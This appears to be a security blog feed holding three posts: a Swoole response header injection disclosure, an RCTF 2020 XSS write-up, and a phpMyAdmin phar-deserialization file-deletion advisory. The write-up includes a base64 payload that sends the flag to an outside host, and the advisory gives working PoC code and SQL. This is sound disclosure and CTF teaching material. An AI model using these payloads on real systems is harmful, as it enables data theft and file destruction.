普通视图

发现新文章,点击刷新页面。
昨天以前crblog

HTTP Response Header Injection in Swoole<=4.8.2

2020年8月5日 23:54
<h1>HTTP Response Header Injection in Swoole&lt;=4.5.2</h1> <p>发表于 2020 年 8 月 6 日</p> <h2>描述</h2> <p>在 Swoole &lt;= 4.5.2 中,<code>Swoole\Http\Response</code> 类的 <code>header()/rawCookie()/redirect()</code> 方法在设置 HTTP 响应头时没有对换行符<code>\r</code>、<code>\n</code> 和空字符 <code>\x00</code>进行检查。如果开发者在调用以上方法时传入了用户可控的数据,攻击者可以利用该漏洞伪造任意 Response Header 和 Response Body。</p> <h2>典型场景</h2> <p><code>rawCookie</code> 设置Cookie</p> <pre><code class="php">if(isset($request-&gt;get['lang'])){ $response-&gt;rawCookie('lang', $request-&gt;get['lang']); } </code></pre> <p><code>redirect</code> 重定向</p> <pre><code class="php">if(isset($request-&gt;get['redirect_uri'])){ $response-&gt;redirect($request-&gt;get['redirect_uri']); $response-&gt;end('Redirecting...'); } </code></pre> <p><code>header</code> 设置响应头</p> <pre><code class="php">if(isset($request-&gt;get['redirect_uri'])){ $response-&gt;status(302); $response-&gt;header('Location', $request-&gt;get['redirect_uri']); $response-&gt;end('Redirecting...'); } </code></pre> <h2>利用方式</h2> <ol> <li>伪造 <code>Set-Cookie</code> 响应头可以往当前域和父域写入任意 Cookie</li> </ol> <p><img alt="image.png" src="https://blogstatic-1252090343.picgz.myqcloud.com/200806/01.png" /></p> <ol> <li>伪造 <code>Content-Length</code>和<code>Content-Type</code>,并通过两次换行伪造 Response Body,实现内容欺骗(Content Spoofing) 或 XSS</li> </ol> <p><img alt="image.png" src="https://blogstatic-1252090343.picgz.myqcloud.com/200806/02.png" /></p> <ol> <li>在重定向的场景中,即使 HTTP 状态码为 3xx ,攻击者也可以通过将 <code>Location</code> 头设置为空,使得 Chrome 继续渲染 Response Body</li> </ol> <p><img alt="image.png" src="https://blogstatic-1252090343.picgz.myqcloud.com/200806/03.png" /></p> <h2>时间线</h2> <ul> <li>8月3日 通过邮件反馈给 team@swoole.com</li> <li>8月4日 <a href="https://github.com/swoole/swoole-src/pull/3539">第一次修复</a></li> <li>8月6日 <a href="https://github.com/swoole/swoole-src/pull/3545">完成修复且合并到主分支</a></li> </ul> <h2>扩展阅读</h2> <p>https://portswigger.net/kb/issues/00200200_http-response-header-injection</p>

RCTF 2020 rBlog writeup

2020年5月31日 23:54
<h1>RCTF 2020 rBlog writeup</h1> <p>发表于 2020 年 6 月 1 日</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r01.png" /></p> <p><a href="https://drive.google.com/file/d/1Z10Qk8-EMqcYs4zeYmExu6-1HBbrlOaX/view?usp=sharing">source code</a></p> <p>Apparently the challenge "rBlog" is based on a blog service. Going through the provided source code, it's easy to determine following interfaces:</p> <ul> <li>User registration is closed, so the login and logout functions only work for admin(XSS bot);</li> <li><code>highlight_word</code> function in posts page takes user input and makes changes to DOM accordingly;</li> <li>Anonymous user can create a feedback which can only be viewed by authenticated user(XSS bot);</li> <li>Flag is in <code>/posts/flag</code>, also for authenticated user only.</li> </ul> <p>Firstly let's take a look into the feedback function. </p> <p><code>``js= for (let i of resp.data) { let params = new URLSearchParams() params.set('highlight', i.highlight_word) if (i.link.includes('/') || i.link.includes('\\')) { continue; // bye bye hackers uwu } let a = document.createElement('a') a.href =</code>${i.link}?${params.toString()}<code>a.text =</code>${i.ip}: ${a.href}`<br /> feedback_list.appendChild(a)<br /> feedback_list.appendChild(document.createElement('br'))<br /> }<br /> feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)</p> <pre><code> A new feedback is sent in this way: ```http= POST /posts/feedback HTTP/1.1 Host: rblog.rctf2020.rois.io Connection: close Content-Length: 61 Content-Type: application/x-www-form-urlencoded postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&amp;highlight=writeup </code></pre> <p>When admin visits <code>/posts/feedback</code> to view the feedbacks, <code>&lt;a&gt;</code> tags is created like:</p> <pre><code class="html">&lt;a href=&quot;8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup&quot;&gt;harmless texts...&lt;/a&gt; </code></pre> <p>Since the feedback page is on route <code>/pages/feedback</code>, the relative URL will surely bring the admin to <code>/pages/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup</code>, the right page. While the only restriction here is the <code>postid</code> should never contain any <code>/</code> or <code>\</code>, technically we now are able to create:</p> <pre><code class="html">&lt;a href=&quot;ANYTHING_BUT_SLASHES_OR_BACKSLASHES?highlight=ANYTHING&quot;&gt;harmless texts...&lt;/a&gt; </code></pre> <p>Generally we would come up with the idea of using <code>javascript:</code> to build a classical XSS here, but the DOM is sanitized by DOMPurify, no chance for <code>javascript:</code> today. As for <code>data:html;base64,...</code>, Chrome would refuses to navigate from http/https to <code>data:</code> via <code>&lt;a&gt;</code> tag. So let's just leave it here for now and move on to the highlight_word function:</p> <p><code>``js= function highlight_word() { u = new URL(location) hl = u.searchParams.get('highlight') || '' if (hl) { // ban html tags if (hl.includes('&lt;') || hl.includes('&gt;') || hl.length &gt; 36) { u.searchParams.delete('highlight') history.replaceState('', '', u.href) alert('⚠️ illegal highlight word') } else { // why the heck this only highlights the first occurrence? stupid javascript 😠 // content.innerHTML = content.innerHTML.replace(hl,</code><b class="hl">${hl}</b><code>) hl_all = new RegExp(hl, 'g') replacement =</code><b class="hl">${hl}</b>`<br /> post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)<br /> let b = document.querySelector('b[class=hl]')<br /> if (b) {<br /> typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()<br /> }<br /> }<br /> }<br /> }</p> <pre><code> This function extracts the param `highlight` from current URL into variable `hl`, and replace all the occurrences in DOM with styled `&lt;b&gt;` tags. Zszz(众所周知/As we all know), if we pass a string as the first argument to `String.replace()`, only the first match will be replaced. To replace all matches, we need to pass a RegExp object with `g` (global) flag. ![](//blogstatic-1252090343.picgz.myqcloud.com/200601/r02.png) This is exactly how this highlighting function has been coded. We are able to modify the DOM with `highlight` param: ```js post_content.innerHTML.replace(/YOUR_HIGHLIGHT_WORDS/g, '&lt;b class=&quot;hl&quot;&gt;YOUR_HIGHLIGHT_WORDS&lt;/b&gt;') </code></pre> <p>And here comes the tricky part: other than plain texts, the "replacement" could be a valid RegExp, which means we can do content injections like this:</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r03.png" /></p> <p>The RegExp matches word <code>do</code> and replaces it with <code>&lt;b class="hl"&gt;do|LUL_CONTENT_INJECTION&lt;/b&gt;</code>. But how do we inject HTML tags? <code>&lt;</code> or <code>&gt;</code> are not allowed in <code>hl</code> ! If you ever read the docs of <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">String.prototype.replace()</a>, this table should raise your eyebrows:</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r04.png" /></p> <p>You can really use those replacement patterns to introduce disallowed characters:</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r05.png" /></p> <p>I crafted this payload with 19 out of 36 chars could be filled with javascript codes:</p> <pre><code>$`style%20onload=ZZZZZZZZZZZZZZZZZZZ%0a| </code></pre> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r06.png?" /></p> <p>Now we get a reflected-XSS in highlight param, but obviously 36 chars are not enough to carry our payload to fetch the flag. So we need another legit trick here. You can actually find an interesting behavior with following codes:</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r07.png" /><br /> <img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r08.png" /></p> <p>If the href attribute starts with a different HTTP(s) protocol the current location is loaded with, it will not be recognized as a relative URL.</p> <p>Finally we can create a feedback with postid <code>http:DOMAIN_OR_IP:PORT</code> which would lead the XSS bot to our own HTTP server when he clicks the <code>&lt;a&gt;</code> tag. Smuggle our payload in <code>window.name</code> and redirect to the reflected-XSS to <code>eval(top.name)</code>.</p> <p><img alt="" src="//blogstatic-1252090343.picgz.myqcloud.com/200601/r09.png?" /></p> <hr /> <p><em>Update:</em> Some came up with this unintended solution exploiting the <code>u.search</code> and a longer <code>postid</code>:</p> <pre><code>POST /posts/feedback HTTP/1.1 Host: rblog.rctf2020.rois.io Connection: close Content-Length: 271 Content-Type: application/x-www-form-urlencoded postid=205f4402-efeb-4200-97a8-808a3159157f?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0nLy9jZjQzZGZmZS5uMHAuY28vJytlc2NhcGUodCl9KX0p`)))%3b`%26highlight=$%2526style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|.%26`#&amp;highlight=1 </code></pre> <pre><code>// prompt('500IQ') https://rblog.rctf2020.rois.io/posts/205f4402-efeb-4200-97a8-808a3159157f?`(prompt(`500IQ`));`&amp;highlight=$%26style%20onload=eval(%22%60%22%2Bu.search)%0A|.&amp;`# </code></pre>

Arbitrary file deletion in phpMyAdmin <= 4.8.4

2019年1月25日 23:54
<h1>Arbitrary file deletion in phpMyAdmin &lt;= 4.8.4</h1> <p>发表于 2019 年 1 月 26 日</p> <h3>Description</h3> <p>This vulnerability allows a logged-in user to delete arbitrary file via loading a crafted phar file by <code>LOAD DATA LOCAL INFILE</code>. Neither <code>UploadDir</code> nor <code>SaveDir</code> in config will take effect.</p> <p>To exploit this vulnerability, attacker must be able to upload a crafted file to the server hosting phpMyAdmin. The content of file is essential, while the filename is not our concern. There are several ways to create a file on the server:<br /> - <code>SELECT ... INTO OUTFILE ...</code>, if the phpMyAdmin and MySQL are on the same server;<br /> - "Export as CSV" in phpMyAdmin, if <code>$cfg['SaveDir']</code> is set;<br /> - Upload via other php applications (e.g. WordPress), if any;<br /> - Exploit <code>/tmp/phpXXXXXX</code> temporary files.</p> <p>By loading a local file through "phar://" stream wrapper, an unserialization would be performed while parsing the file. Magic methods like <code>__destruct</code> and <code>__wakeup</code> from any class in the context can be triggered. And I found <code>PhpMyAdmin\File</code> a perfect exploit gadget in phpMyAdmin, which deletes a file in <code>__destruct</code> method. To generate exploit.phar:<br /> ```php=<br /> &lt;?php<br /> include 'pma484/libraries/classes/File.php';<br /> $o = new PhpMyAdmin\File();<br /> $o-&gt;_name='/var/www/html/file_to_delete.txt';<br /> $o-&gt;_is_temp = True;<br /> $phar = new Phar('exploit.phar');<br /> $phar-&gt;startBuffering();<br /> $phar-&gt;addFromString('test', 'test');<br /> $phar-&gt;setStub('&lt;?php __HALT_COMPILER(); ? &gt;');<br /> $phar-&gt;setMetadata($o);<br /> $phar-&gt;stopBuffering();</p> <pre><code> More details about this attack method are available here: [File Operation Induced Unserialization via the “phar://” Stream Wrapper - Sam Thomas](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf) ### To reproduce 1. login to phpMyAdmin 2. upload [exploit.phar](https://gist.github.com/chromium1337/61688a74423fdad0c353663aadd2b23b#file-exploit_php5-phar) to server 3. execute SQL: ```SQL LOAD DATA LOCAL INFILE 'phar:///path/to/exploit.phar/1' INTO TABLE `any_exist_table` </code></pre> <p><img alt="" src="https://i.imgur.com/lmNVN7H.gif" /></p>
❌
❌